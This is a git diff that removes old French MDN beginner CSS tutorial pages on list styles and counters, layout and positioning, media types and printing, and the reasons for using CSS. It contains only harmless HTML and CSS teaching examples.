Pour spécifier le style d'une liste, utilisez la propriété list-style pour changer le type de marque.

-

Le sélecteur dans votre règle CSS peut soit sélectionner les éléments de la liste (par exemple example, LI), ou il peut sélectionner l'élément de liste parent (par exemple, UL) afin que les éléments héritent du style.

-

Listes non ordonnées

-

Dans une liste - - non ordonnée - , chaque élément de la liste est marqué de la même façon.

-

CSS propose trois types de marques. Voici comment votre navigateur les affiche :

-
    -
  • disc (rond plein)
    • -
  • circle (cercle)
    • -
  • square (carré)
    • -
-

Vous pouvez également spécifier l'URL d'une image.

- - - - - - - -
- Exemple
Ces règles spécifient différentes marques pour différentes classes d'éléments de liste : -
- 
-li.ouvert {list-style: circle;}
-li.ferme {list-style: disc;}
-
-
-

Lorsque ces classes sont utilisées dans une liste, elle différencient les éléments ouverts et ceux qui sont fermés :

-
- 
-<UL>
-  <LI class="ouvert">Lorem ipsum</LI>
-  <LI class="ferme">Dolor sit</LI>
-  <LI class="ferme">Amet consectetuer</LI>
-  <LI class="ouvert">Magna aliquam</LI>
-  <LI class="ferme">Autem veleum</LI>
-</UL>
-
-
-

Le résultat peut ressembler à ceci :

- - - - - - -
-
    -
  • Lorem ipsum
    • -
  • Dolor sit
    • -
  • Amet consectetuer
    • -
  • Magna aliquam
    • -
  • Autem veleum
    • -
-
-
-

Listes ordonnées

-

Dans une liste - - ordonnée - , chaque élément de la liste est marqué différemment afin de montrer sa position dans la séquence.

-

Utilisez la propriété list-style pour spécifier le type de marque :

-
    -
  • decimal (chiffres décimaux)
    • -
  • lower-roman (chiffres romains minuscules)
    • -
  • upper-roman (chiffres romains majuscules)
    • -
  • lower-latin (lettres minuscules)
    • -
  • upper-latin (lettres majuscules)
    • -
- - - - - - - -
- Exemple
Cette règle spécifie que les éléments OL de la classe info sont identifiés par des lettres majuscules. -
- 
-ol.info {list-style: upper-latin;}
-
-
-

Les éléments LI de la liste héritent de ce style :

- - - - - - -
-
    -
  1. Lorem ipsum
    2. -
  2. Dolor sit
    3. -
  3. Amet consectetuer
    4. -
  4. Magna aliquam
    5. -
  5. Autem veleum
    6. -
-
-
- - - - - - - -
- Plus de détails
La propriété list-style est un raccourci. Dans des feuilles de style complexes, il peut être préférable d'utiliser des propriétés séparées pour régler les différentes valeurs. Pour des détails sur ces propriétés séparées, consultez Lists dans la spécification CSS. -

Si vous utilisez un langage de balisage comme HTML qui fournit des balises conventionnelles pour les listes ordonnées (OL) et non ordonnées (UL), il est préférable d'utiliser les balises de la manière prévue. Cependant, il est possible d'utiliser CSS pour que des listes UL s'affichent ordonnées et que des listes OL s'affichent non ordonnées si vous le désirez.

-

Les navigateurs n'implémentent pas tous de la même façon les styles de liste. Ne vous attendez pas à obtenir un résultat identique pour une même feuille de style dans tous les navigateurs.

-
-

Compteurs

-
-

Note :  Certains navigateurs ne gèrent pas les compteurs.

-
-

Vous pouvez utiliser les compteurs pour numéroter toutes sortes d'éléments, pas seulement des éléments de liste. Par exemple, dans certains documents, vous pouvez avoir besoin de numéroter les titres ou les paragraphes.

-

Pour spécifier la numérotation, vous avez besoin d'un - - compteur - (counter) auquel vous devrez donner un nom.

-

Dans un élément placé avant l'endroit où le comptage doit commencer, remettez le compteur à zéro à l'aide de la propriété counter-reset et le nom de votre compteur. Le parent des éléments à compter est un bon endroit pour faire cela, mais vous pouvez utiliser n'importe quel élément qui précède votre liste.

-

Dans chaque élément où le compteur doit augmenter, utilisez la propriété counter-increment et le nom de votre compteur.

-

Pour afficher votre compteur, ajoutez :before ou :after au sélecteur et utilisez la propriété content (comme vous avez fait à la page précédente, Contenu).

-

Dans la valeur de la propriété content, spécifiez counter() avec le nom de votre compteur. Optionellement, spécifiez aussi un type. Ceux-ci sont les mêmes que dans la section Listes ordonnées ci-dessus.

-

Normalement, l'élément qui affiche le compteur l'incrémente également.

- - - - - - - -
- Exemple
Cette règle initialise un compteur pour chaque élément H3 de la classe numerote : -
- 
-h3.numerote {counter-reset: mynum;}
-
-
-

Cette règle affiche et incrémente le compteur pour chaque élément P de la classe numerote :

-
- 
-p.numerote:before {
-  content: counter(mynum) " : ";
-  counter-increment: mynum;
-  font-weight: bold;}
-
-
-

Le résultat ressemble à ceci :

- - - - - - -
Titre
-

1 : Lorem ipsum

-

2 : Dolor sit

-

3 : Amet consectetuer

-

4 : Magna aliquam

-

5 : Autem veleum

-
-
- - - - - - - -
- Plus de détails
Vous ne pouvez pas utiliser les compteurs s'il n'est pas certain que tous les lecteurs de votre document ont un navigateur qui permet de les afficher. -

Si cela s'avère possible, un de leurs avantages est que vous pouvez styler les compteurs d'une façon différente des éléments de liste. Dans l'exemple ci-dessus, les compteurs sont en gras mais les éléments de liste ne le sont pas.

-

Vous pouvez également utiliser les compteurs de façon plus complexe — par exemple, pour numéroter des, titres, sous-titres et paragraphes dans des documents formels. Pour plus de détails, consultez Automatic counters and numbering dans la spécification CSS.

-
-

Action : listes stylées

-

Créez un nouveau document HTML, doc2.html. Copiez et collez le contenu ci-dessous, en faisant défiler pour vous assurer de l'obtenir en entier :

-
- 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-<HEAD>
-<TITLE>Document exemple 2</TITLE>
-<LINK rel="stylesheet" type="text/css" href="style2.css">
-</HEAD>
-<BODY>
-
-<H3 id="oceans">Les océans</H3>
-<UL>
-<LI>Arctique</LI>
-<LI>Atlantique</LI>
-<LI>Pacifique</LI>
-<LI>Indien</LI>
-<LI>Antarctique</LI>
-</UL>
-
-<H3 class="numerote">Paragraphes numérotés</H3>
-<P class="numerote">Lorem ipsum</P>
-<P class="numerote">Dolor sit</P>
-<P class="numerote">Amet consectetuer</P>
-<P class="numerote">Magna aliquam</P>
-<P class="numerote">Autem veleum</P>
-
-</BODY>
-</HTML>
-
-
-

Créez une nouvelle feuille de style, style2.css. Copiez et collez le contenu ci-dessous :

-
- 
/* paragraphes numérotés */
-h3.numerote {counter-reset: mynum;}
-
-p.numerote:before {
-  content: counter(mynum) " : ";
-  counter-increment: mynum;
-  font-weight: bold;}
-
-
-

Si la mise en page et les commentaires ne sont pas à votre goût, modifiez-les.

-

Ouvrez le document dans votre navigateur. Si votre navigateur gère les compteurs, vous verrez quelque chose comme ci-dessous. Sinon, vous ne verrez pas les nombres (et probablement même pas les deux points) :

- - - - - - -
-

Les océans

-
    -
  • Arctique
    • -
  • Atlantique
    • -
  • Pacifique
    • -
  • Indien
    • -
  • Antarctique
    • -
-

Paragraphes numérotés

-

1 : Lorem ipsum

-

2 : Dolor sit

-

3 : Amet consectetuer

-

4 : Magna aliquam

-

5 : Autem veleum

-
-

 

- - - - - - - -
- Challenges
Ajoutez une règle à votre feuille de style pour numéroter les océans en chiffres romains de i à v : - - - - - - -
-

Les océans

-
    -
  • Arctique
    • -
  • Atlantique
    • -
  • Pacifique
    • -
  • Indien
    • -
  • Antarctique
    • -
-
-


- Si votre navigateur gère les compteurs, modifiez votre feuille de style pour identifier les titres avec des lettres majuscules entre parenthèses comme ceci :

- - - - - - -
-

(A) Les océans

-

. . .

-

(B) Paragraphes numérotés

-

. . .

-
-
-

 

-

Pour continuer

-

Si vous avez eu des difficultés à comprendre cette page, ou si vous avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

-

Lorsque votre navigateur affiche votre document, il crée de l'espace autour des éléments lorsqu'il les dispose sur la page.

-

La page suivante explique comment utiliser CSS pour travailler sur les formes sous-jacentes aux éléments : Boîtes.

diff --git a/files/fr/css/premiers_pas/mise_en_page/index.html b/files/fr/css/premiers_pas/mise_en_page/index.html deleted file mode 100644 index f8d9872975..0000000000 --- a/files/fr/css/premiers_pas/mise_en_page/index.html +++ /dev/null @@ -1,373 +0,0 @@ ---- -title: Mise en page -slug: CSS/Premiers_pas/Mise_en_page -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Learn/CSS/CSS_layout -translation_of_original: Web/Guide/CSS/Getting_started/Layout ---- -

 

-

Cette page présente plusieurs manières d'ajuster la mise en page de votre document.

-

Vous modifierez la mise en page de votre document exemple...

-

Information : mise en page

-

Vous pouvez utiliser CSS pour spécifier de nombreux effets visuels changeant la mise en page de votre document. Certaines de ces techniques sont très avancées et dépassent de loin le niveau de tutoriel basique.

-

Lorsque vous réalisez une mise en page qui doit apparaître d'une manière similaire dans de nombreux navigateurs, votre feuille de style interagit avec le style par défaut du navigateur et le moteur de rendu de manières qui peuvent s'avérer complexes. Ce sujet n'est pas non plus couvert par ce tutoriel.

-

Cette page décrit certaines techniques simples que vous pouvez essayer.

-

Structure du document

-

Si vous voulez contrôler la mise en page de votre document, il peut être nécessaire de changer sa structure.

-

Le langage de balisage de votre document peut disposer de balises générales créant une certaine structure. Par exemple, dans HTML vous pouvez utiliser la balise DIV pour créer une telle structure.

- - - - - - - -
- Exemple
Dans votre document d'exemple, les paragraphes numérotés sous le second titre n'ont aucun conteneur propre. -

Votre feuille de style ne peut pas dessiner une bordure autour de ces paragraphes, puisqu'il n'y a pas d'élément qui peut être spécifié dans le sélecteur.

-

Pour régler ce problème structurel, vous pouvez ajouter une balise DIV autour des paragraphes. Cette balise sera rendue unique en étant identifiée par un attribut id :

-
- 
-<H3 class="numerote">Paragraphes numérotés</H3>
-<DIV id="numerote">
-<P class="numerote">Lorem ipsum</P>
-<P class="numerote">Dolor sit</P>
-<P class="numerote">Amet consectetuer</P>
-<P class="numerote">Magna aliquam</P>
-<P class="numerote">Autem veleum</P>
-</DIV>
-
-
-

À présent, votre feuille de style peut utiliser une règle pour ajouter des bordures autour des deux listes.

-
- 
-ul, #numerote {
-  border: 1em solid #69b;
-  padding-right:1em;
-  }
-
-
-

Le résultat devrait ressembler à ceci :

- - - - - - -
-

(A) Les océans

-
-
    -
  • Arctique
    • -
  • Atlantique
    • -
  • Pacifique
    • -
  • Indien
    • -
  • Antarctique
    • -
-
-

(B) Paragraphes numérotés

-
-

1 : Lorem ipsum

-

2 : Dolor sit

-

3 : Amet consectetuer

-

4 : Magna aliquam

-

5 : Autem veleum

-
-
-
-

Unités de mesure

-

Jusqu'à présent, dans ce tutoriel, nous avont spécifié les tailles en pixels (px). Ceux-ci sont appropriés pour certains usages sur un dispositif d'affichage comme un écran d'ordinateur, mais dès que l'utilisateur change la taille de police, votre mise en page peut être affectée négativement.

-

Dans de nombreux cas il est préférable de spécifier les tailles en pourcentages ou en ems (em). Un em est défini comme la taille de police actuelle (théoriquement la largeur d'une lettre m). Lorsque l'utilisateur change la taille de police, votre mise en page s'ajustera donc automatiquement.

- - - - - - - -
- Exemple
La bordure à gauche de ce texte a son épaisseur spécifiée en pixels. La bordure de droite a son épaisseur spécifiée en ems. -

Dans votre navigateur, changez la taille de police pour observer la façon dont la bordure de droite s'ajuste, mais pas celle de gauche :

- - - - - - -
-
- Veuillez me redimensionner
-
-
- - - - - - - -
- Plus de détails
Pour d'autres périphériques, d'autres unités de longueur seront plus appropriées. -

Plus d'informations à ce sujet sont disponibles dans une prochaine page de ce tutoriel.

-

Pour plus de détails sur les valeurs et les unités que vous pouvez utiliser, consultez Values dans la spécification CSS.

-
-

Alignement du texte

-

Deux propriétés spécifient la manière dont le contenu d'un élement est aligné. Vous pouvez les utiliser pour des ajustements simples de la mise en page :

-
    -
  • text-align
    • -
-
-
- Aligne le contenu. Utiilisez une de ces valeurs : left (à gauche), right (à droite), center (centré), justify (justifié)
-
-
    -
  • text-indent
    • -
-
-
- Donne une certaine retrait (indentation) au contenu, de la largeur spécifiée.
-
-

Ces propriétés s'appliquent à tout contenu semblable à du texte dans l'élément, pas uniquement au texte proprement dit. N'oubliez pas qu'elles sont héritées par les enfants de l'élément, ce qui peut vous obliger à les désactiver explicitement dans les éléments enfants pour éviter certains résultats surprenants.

- - - - - - - -
- Exemple
Pour centrer les titres : -
- 
-h3 {
-  border-top: 1px solid gray;
-  text-align: center;
-  }
-
-
-

Ce qui donne :

- - - - - - -
-

(A) Les océans

-
-

Dans un document HTML, le contenu que vous voyez sous un titre n'est pas structurellement contenu par ce titre. Par conséquent, lorsque vous alignez un titre de cette manière, les balises situées en dessous n'héritent pas du style.

-
-

Les éléments flottants

-

La propriété float force un élément à se placer à gauche ou à droite. C'est une manière simple de contrôler sa position et sa taille.

-

Le reste du contenu du document s'écoule normalement autour de l'élément flottant. Vous pouvez contrôler ceci à l'aide de la propriété clear sur d'autres éléments pour les désolidariser des éléments flottants et les ramener en dessous.

- - - - - - - -
- Exemple
Dans votre document d'exemple, les listes s'étalent sur toute la largeur de la fenêtre. Vous pouvez les en empêcher en les faisant flotter à gauche. -

Pour que les titres restent en place, vous devez également spécifier qu'ils resteront à l'écart des éléments flottants à leur gauche :

-
- 
-ul, #numerote {float: left;}
-h3 {clear: left;}
-
-
-

Le résultat devrait ressembler à ceci :

- - - - - - -
-

(A) Les océans

-
-
    -
  • Arctique
    • -
  • Atlantique
    • -
  • Pacifique
    • -
  • Indien
    • -
  • Antarctique
    • -
-
-

(B) Paragraphes numérotés

-
-

1 : Lorem ipsum

-

2 : Dolor sit

-

3 : Amet consectetuer

-

4 : Magna aliquam

-

5 : Autem veleum

-
-
-

(Une petite marge intérieure est nécessaire à droite des boîtes, là où la bordure est trop proche du texte.)

-
-

Positionnement

-

Vous pouvez spécifier la position d'un élément de quatre manières différentes à l'aide de la propriété position et de l'une des valeurs suivantes.

-

L'utilisation de ces propriétés peut être très avancée. Il est cependant possible de les utiliser de manière simple — c'est pourquoi elles sont mentionnées dans ce tutoriel basique. Mais leur utilisation dans des mises en page complexes peut s'avérer difficile.

-
    -
  • relative
    • -
-
-
- La position de l'élément est déplacée relativement à sa position normale.
-
- Utilisez ceci pour déplacer un élément d'une certaine distance spécifiée. Dans certains cas, vous pouvez aussi utiliser les marges de l'élément pour obtenir le même effet.
-
-
    -
  • fixed
    • -
-
-
- La position de l'élément est fixée.
-
- Spécifie la position de l'élément relativement à la fenêtre du document. Même si le reste du document défile, l'élément reste en place.
-
-
    -
  • absolute
    • -
-
-
- La position de l'élément est fixée relativement à un élément parent.
-
- Cela fonctionnera uniquement lorsque l'élément parent est lui-même positionné avec relative, fixed ou absolute.
-
-
-
- Vous pouvez rendre n'importe quel élément parent utilisable pour ceci en lui spécifiant une position: relative; sans par ailleurs lui spécifier aucun déplacement.
-
-
    -
  • static
    • -
-
-
- La valeur par défaut. Utilisez cette valeur pour désactiver explicitement les autres sortes de positionnement.
-
-

En complément de ces valeurs de la propriété position (à l'exception de static), spécifiez une ou plusieurs de ces propriétés : top (haut), right (droite), bottom (bas), left (gauche), width (largeur), height (hauteur) pour identifier où l'élément doit se positionner, et éventuellement sa taille.

- - - - - - - -
- Exemple
Pour positionner deux éléments l'un au dessus de l'autre, créez un élément parent conteneur avec les deux éléments à l'intérieur de celui-ci : -
- 
-<DIV id="parent-div">
-<P id="forward">/</P>
-<P id="back">\</P>
-</DIV>
-
-
-

Dans votre feuille de style, rendez la position de l'élément parent relative. Il n'est pas nécessaire de spécifier un déplacement. Rendez ensuite la position des enfants absolute :

-
- 
-#parent-div {
-  position: relative;
-  font: bold 200% sans-serif;
-  }
-
-#forward, #back {
-  position: absolute;
-  margin:0px;
-  top: 0px;
-  left: 0px;
-  }
-
-#forward {
-  color: blue;
-  }
-
-#back {
-  color: red;
-  }
-
-
-

Le résultat ressemble à ceci, avec la barre oblique inversée par dessus l'autre barre oblique :

-
-

/

-

\

-
- - - - - - -
 
-

 

-
- - - - - - - -
- Plus de détails
L'ensemble des informations sur le positionnement prend deux chapitres entiers et assez complexes dans la spécification CSS : Visual formatting model et Visual formatting model details. -

Si vous réalisez des feuilles de style devant fonctionner dans de nombreux navigateurs, vous devrez aussi prendre en compte les différences dans la manière dont ceux-ci interprètent le standard, voire les erreurs présentes dans certaines versions particulières de certains d'entre-eux.

-
-

Action : spécification d'une mise en page

-

Modifiez vos exemples de document et de feuille de style à l'aide des exemples ci-dessus dans les sections Structure du document et Éléments flottants.

-

Dans l'exemple des éléments flottants, ajoutez une marge intérieure (padding) pour séparer le texte de la bordure de droite de 0.5 em.

- - - - - - - -
- Challenge
Modifiez votre document en ajoutant cette balise près de la fin, juste avant </BODY> - 
-<IMG id="fixed-pin" src="punaise-jaune.png" alt="Punaise jaune">
-
-

Si vous n'avez pas téléchargé l'image plus tôt dans ce tutoriel, téléchargez-la maintenant :

- - - - - - -
Image:punaise-jaune.png
-

Essayez de deviner où l'image apparaîtra dans votre document. Actualisez dans votre navigateur pour voir si vous aviez raison.

-

Ajoutez une règle à votre feuile de style qui fixe l'image en haut à droite de votre document.

-

Actualisez dans votre navigateur et réduisez la taille de la fenêtre. Vérifiez que l'image reste en haut à droite même lorsque vous faites défiler votre document :

-
-
-

(A) Les océans

-
-
    -
  • Arctique
    • -
  • Atlantique
    • -
  • Pacifique
    • -
  • Indien
    • -
  • Antarctique
    • -
-
-

(B) Paragraphes numérotés

-
-

1 : Lorem ipsum

-

2 : Dolor sit

-

3 : Amet consectetuer

-

4 : Magna aliquam

-

5 : Autem veleum

-
-

 

-
- Punaise jaune
-
-
-
-

 

-

Pour continuer

-

Si vous avez eu des difficultés à comprendre cette page, ou avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

-

Vous avez presque couvert tous les sujets de ce tutoriel CSS basique. La page suivante décrit des sélecteurs plus avancés pour les règles CSS, et certaines manières spécifiques de styler des tableaux : Tableaux.

diff --git "a/files/fr/css/premiers_pas/m\303\251dias/index.html" "b/files/fr/css/premiers_pas/m\303\251dias/index.html" deleted file mode 100644 index 3926d7e225..0000000000 --- "a/files/fr/css/premiers_pas/m\303\251dias/index.html" +++ /dev/null @@ -1,396 +0,0 @@ ---- -title: Médias -slug: CSS/Premiers_pas/Médias -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Web/Progressive_web_apps/Responsive/Media_types ---- -

 

-

La plupart des pages de ce tutoriel sont centrées sur les propriétés CSS et les valeurs que vous pouvez utiliser pour spécifier la façon dont sera affiché un document.

-

Cette page revient sur le but et la structure des feuilles de style CSS.

-

Information : les médias

-

Le but de CSS est de spécifier la manière dont les documents sont présentés à l'utilisateur. La présentation peut prendre plusieurs formes.

-

Par exemple, vous êtes probablement en train de lire cette page sur un dispositif d'affichage comme un écran d'ordinateur. Mais vous pouvez aussi avoir envie de le projeter sur un grand écran pour un public plus important, ou encore l'imprimer sur papier. Ces différents médias peuvent avoir des caractéristiques différentes. CSS permet donc de présenter un document différemment sur un média différent.

-

Pour spécifier des règles spécifiques à un type de média, utilisez @media suivi du type de média, suivi de crochets courbes entourant les règles.

- - - - - - - -
- Exemple
Un document sur un site Web dispose d'une zone de navigation permettant à l'utilisateur de se déplacer dans le site. -

Dans le langage de balisage, l'élément parent de la zone de navigation a l'attribut id nav-area.

-

Lorsque le document est imprimé, la zone de navigation n'a aucun intérêt, elle est donc retirée complètement par la feuille de style :

-
- 
-@media print {
-  #nav-area {display: none;}
-  }
-
-
-
-

Voici certains des types de média courants :

- - - - - - - - - - - - - - - - - - - -
screenÉcran d'ordinateur en couleurs
printMédia paginé
projectionProjection sur un écran
allTous les médias (la valeur par défaut)
-

 

- - - - - - - -
- Plus de détails
Il existe d'autres manières de spécifier le type de média d'une série de règles. -

Le langage de balisage du document peut permettre de spécifier le type de média au moment où la feuille de style est liée au document. Par exemple, en HTML, vous pouvez optionnellement spécifier le type de média à l'aide de l'attribut media de la balise LINK.

-

En CSS, vous pouvez utiliser @import au début d'une feuille de style pour en importer une autre depuis une URL, éventuellement en spécifiant le type de média.

-

En utilisant ces techniques, vous pouvez séparer les règles de style pour différents médias dans différents fichiers. Cela peut s'avérer une manière utile de structurer vos feuilles de style.

-

Pour tous les détails sur les types de média, consultez Media dans la spécification CSS.

-

Plus d'exemples utilisant la propriété display sont présentés sur une prochaine page de ce tutoriel : Données XML.

-
-

 

-

Impression

-

CSS possède certaines instructions spécifiques pour l'impression et les médias paginés en général.

-

Une règle @page permet de spécifier les marges de la page. Pour l'impression recto-verso, vous pouvez spécifier des marges différentes pour les pages de gauche, @page:left, et les pages de droite, @page:right.

-

Pour les médias imprimés, il vaut mieux utiliser des unités de longueur appropriées, comme les centimètres (cm) et millimètres (mm), les pouces (in) ou les points (1 pt = 1/72 pouces). Il est également toujours approprié d'utiliser em pour s'accorder à la taille de police, et les pourcentages (%).

-

Vous pouvez contrôler la façon dont le contenu du document se comporte aux abords des limites de pages à l'aide des propriétés page-break-before (saut de page avant), page-break-after (saut de page après) et page-break-inside (saut de page à l'intérieur).

- - - - - - - -
- Exemples
Cette règle définit les marges de la page à deux centimètres de chaque côté : -
- 
-@page {margin: 2cm;}
-
-
-

Cette règle s'assure que chaque élément H1 commencera une nouvelle page :

-
- 
-h1 {page-break-before: always;}
-
-
-
-

 

- - - - - - - -
- Plus de détails
Pour tous les détails sur la gestion des médias paginés par CSS, consultez Paged media dans la spécification CSS. -

Comme les autres fonctionnalités de CSS, l'impression dépend de votre navigateur et de ses réglages. Par exemple, votre navigateur Mozilla fournit des marges, en-têtes et pieds de page par défaut pour l'impression. Lorsque d'autres utilisateurs imprimeront votre document, vous ne pouvez probablement pas prédire le navigateur et les paramètres qu'ils utiliseront, c'est pourquoi vous ne pouvez probablement pas contrôler complètement le résultat.

-
-

 

-

Interfaces utilisateur

-

CSS possède certaines propriétés spéciales pour les périphériques disposant d'une interface utilisateur comme les écrans d'ordinateur. Celles-ci font que l'apparence du document change dynamiquement et interagit avec les actions de l'utilisateur sur l'interface.

-

Il n'y a pas de type de média spécial pour ce type de périphériques.

-

Voici les cinq sélecteurs spéciaux :

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
SelecteurSélectionne
E:hoverTout élément E survolé par le pointeur
E:focusTout élément E ayant le focus du clavier
E:activeTout élément E impliqué dans l'action courante de l'utilisateur
E:linkTout élément E qui est un lien hypertexte vers une URL que l'utilisateur n'a pas visitée récemment
E:visitedTout élément E qui est un lien hypertexte vers une URL que l'utilisateur a visitée récemment
-

La propriété cursor spécifie la forme du pointeur : certains des pointeurs courants sont montrés ci-dessous. Placez votre pointeur de souris au dessu des éléments de cette liste pour voir comment apparaissent les différentes formes dans votre navigateur :

- - - - - - - - - - - - - - - - - - - - - - - -
ValeurIndique
pointerIndique un lien
waitIndique que le programme n'accepte aucune interaction pour le moment
progressIndique que le programme fonctionne, mais peut toujours accepter une autre commande
defaultLe curseur par défaut (habituellement une flèche)
-


- Une propriété outline crée un encadrement souvent utilisé pour indiquer où se trouve le focus clavier. Ses valeurs sont similaires à celles de la propriété border, sauf que les différents côtés ne peuvent pas être spécifiés individuellement.

-

Certaines autres fonctionnalités des interfaces utilisateur sont implémentées à l'aide d'attributs, de la façon classique. Par exemple, un élément qui est désactivé ou en lecture seule a (respectivement) l'attribut disabled ou readonly. Les sélecteurs peuvent spécifier ces attributs comme n'importe quel autre attribut, à l'aide des crochets droits : {{ mediawiki.external('disabled') }} ou {{ mediawiki.external('readonly') }}.

-

 

- - - - - - - -
- Exemple
Ces règles spécifient des styles pour un bouton qui change dynamiquement lorsque l'utilisateur interagit avec lui : -
- 
-.bouton-vert {
-  background-color:#cec;
-  color:#black;
-  border:2px outset #cec;
-  }
-
-.bouton-vert[disabled] {
-  background-color:#cdc;
-  color:#777;
-  }
-
-.bouton-vert:active {
-  border-style: inset;
-  }
-
-
-

Ce wiki ne permet pas d'utiliser des boutons sur la page, mais voici quelques images pour illustrer l'idée :

- - - - - - -
- - - - - - - - - - - - - - - - -
Cliquez iciCliquez iciCliquez ici
 
disablednormalactive
-
-

Un bouton tout à fait fonctionnel a aussi un contour noir tout autour lorsqu'il est le bouton par défaut, et un encadrement pointillé sur sa surface lorsqu'il a le focus clavier. Il peut également changer grâce à un effet visuel lorsque le pointeur de la souris le survole.

-
- - - - - - - -
- Plus de détails
Pour plus d'informations à propos des interfaces utilisateur en CSS, consultez User interface dans la spécification CSS. -

Un exemple avec le langage de balisage de Mozilla pour les interfaces utilisateur, XUL, est fourni dans la partie II de ce tutoriel.

-
-

Action : impression d'un document

-

Créez un nouveau document HTML, doc4.html. Copiez et collez-y le contenu ci-dessous, en vous assurant de faire défiler jusqu'en bas pour en obtenir l'entièreté :

-
- 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-
-<HEAD>
-<TITLE>Exemple à imprimer</TITLE>
-<LINK rel="stylesheet" type="text/css" href="style4.css"></strong>
-</HEAD>
-
-<BODY>
-<H1>Section A</H1>
-<P>Ceci est la première section...</P>
-
-<H1>Section B</H1>
-<P>Ceci est la seconde section...</P>
-
-<DIV id="en-tete-impression">
-Titre pour les médias paginés
-</DIV>
-
-<DIV id="pied-de-page-impression">
-Page :
-</DIV>
-
-</BODY>
-</HTML>
-
-
-

Créez une nouvelle feuille de style, style4.css. Copiez et collez-y le contenu ci-dessous, en vous assurant de faire défiler jusqu'en bas pour en obtenir l'entièreté :

-
- 
/*** Exemple d'impression ***/
-
-/* Réglages par défaut pour l'écran */
-#en-tete-impression,
-#pied-de-page-impression {
-  display: none;
-  }
-
-/* Uniquement pour l'impression */
-@media print {
-
-h1 {
-  page-break-before: always;
-  padding-top: 2em;
-  }
-
-h1:first-child {
-  page-break-before: avoid;
-  counter-reset: page;
-  }
-
-#en-tete-impression {
-  display: block;
-  position: fixed;
-  top: 0pt;
-  left:0pt;
-  right: 0pt;
-
-  font-size: 200%;
-  text-align: center;
-  }
-
-#pied-de-page-impression {
-  display: block;
-  position: fixed;
-  bottom: 0pt;
-  right: 0pt;
-
-  font-size: 200%;
-  }
-
-#pied-de-page-impression:after {
-  content: counter(page);
-  counter-increment: page;
-  }
-
-} /* fin des paramètres pour l'impression */
-
-
-

Lorsque vous consultez ce document dans votre navigateur, il utilise le style par défaut de celui-ci.

-

Lorsque vous l'imprimez (ou demandez un aperçu avant impression) la feuille de style place chaque section sur une page séparée, et ajoute un en-tête et un pied de page à chacune d'elles. Si votre navigateur gère les compteurs, il ajoute le numéro de page dans le pied de page.

- - - - - - - -
- - - - - - -
- - - - - - -
-
- Titre
-
- Section A
-
- Ceci est la première section...
-
- Page : 1
-
-
- 		- - - - - - -
- - - - - - -
-
- Titre
-
- Section B
-
- Ceci est la seconde section...
-
- Page : 2
-
-
-
-

 

- - - - - - - -
- Challenge
Déplacez les règles spécifiques à l'impression dans un fichier CSS séparé. -

Utilisez les liens plus haut sur cette page pour lire la spécification CSS. Trouvez-y des détails sur la façon d'importer cette nouvelle feuille CSS spécifique à l'impression dans votre feuille de style.

-

Faites en sorte que les titres deviennent bleus lorsque le pointeur de la souris passe au dessus d'eux.

-
-

 

-

Pour continuer

-

Si vous avez eu des difficultés à comprendre cette page, ou si vous avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

-

Jusqu'à présent, toutes les règles de style dans ce tutoriel ont été spécifiées dans des fichiers. Les règles et leurs valeurs sont fixées. La page suivante explique comment ces règles peuvent être changées dynamiquement à l'aide d'un langage de programmation : JavaScript.

diff --git a/files/fr/css/premiers_pas/pourquoi_utiliser_css/index.html b/files/fr/css/premiers_pas/pourquoi_utiliser_css/index.html deleted file mode 100644 index 682482eefb..0000000000 --- a/files/fr/css/premiers_pas/pourquoi_utiliser_css/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Pourquoi utiliser CSS -slug: CSS/Premiers_pas/Pourquoi_utiliser_CSS -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/Why_use_CSS ---- -

 

-

Cette page explique pourquoi les documents utilisent CSS. Vous utiliserez CSS pour ajouter une feuille de style à votre document de démonstration.

-

Information : utilité de CSS

-

CSS vous aide à garder l'information contenue dans votre document séparée des détails de sa présentation. Ces détails de présentation d'un document sont appelés son - - style - . La séparation du style et du contenu permet :

-
    -
  • D'éviter des duplications
    • -
  • Une maintenance plus facile
    • -
  • D'utiliser le même contenu avec différents styles pour différents usages
    • -
- - - - - - - -
- Exemple
Votre site Web peut avoir des milliers de pages qui ont un aspect similaire. Avec CSS, vous conservez les informations de style dans des fichiers communs partagés par toutes les pages. -

Lorsqu'un visiteur affiche une page, son navigateur charge les informations de style en même temps que le contenu de la page.

-

Lorsqu'il imprime une page, vous fournissez des informations de style différentes qui rendent la page imprimée facile à lire.

-
-

En général, avec, CSS, vous utilisez le langage de balisage pour décrire les informations contenues dans le document, et non son style. CSS est utilisé pour spécifier son style et non son contenu. (Plus loin dans ce tutoriel, vous verrez qu'il peut y avoir certaines exceptions à cet arrangement.)

- - - - - - - -
- Plus de détails
Un langage de balisage comme HTML fournit également certaines manières de préciser un style. -

Par exemple, en HTML, il est possible d'utiliser une balise <B> pour rendre du texte gras, ou de spécifier la couleur de fond d'une page dans sa balise <BODY>.

-

Lorsqu'on utilise CSS, on évite généralement d'utiliser ces possibilités du langage de balisage afin que toutes les informations de style du document se retrouvent à la même place.

-
-

Action : création d'une feuille de style

-

Créez un autre fichier texte dans le même dossier que précédemment. Ce fichier sera votre feuille de style. Appelez-le : style1.css

-

Dans votre fichier CSS, copiez et collez cette simple ligne, puis enregistrez le fichier :

-
- 
strong {color: red;}
-
-
-

Lier votre document à votre feuille de style

-

Pour lier votre document à votre feuille de style, éditez votre fichier HTML. Ajoutez la ligne montrée ici en gras :

-
- 
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
-"http://www.w3.org/TR/html4/strict.dtd">
-<html>
-  <head>
-  <meta http-equiv="Content-Type" content="text/html;
-  charset=iso-8859-1">
-  <title>Sample document</title>
-  <link rel="stylesheet" type="text/css" href="style1.css">
-  </head>
-  <body>
-    <p>
-      <strong>C</strong>ascading
-      <strong>S</strong>tyle
-      <strong>S</strong>heets
-    </p>
-  </body>
-</html>
-
-
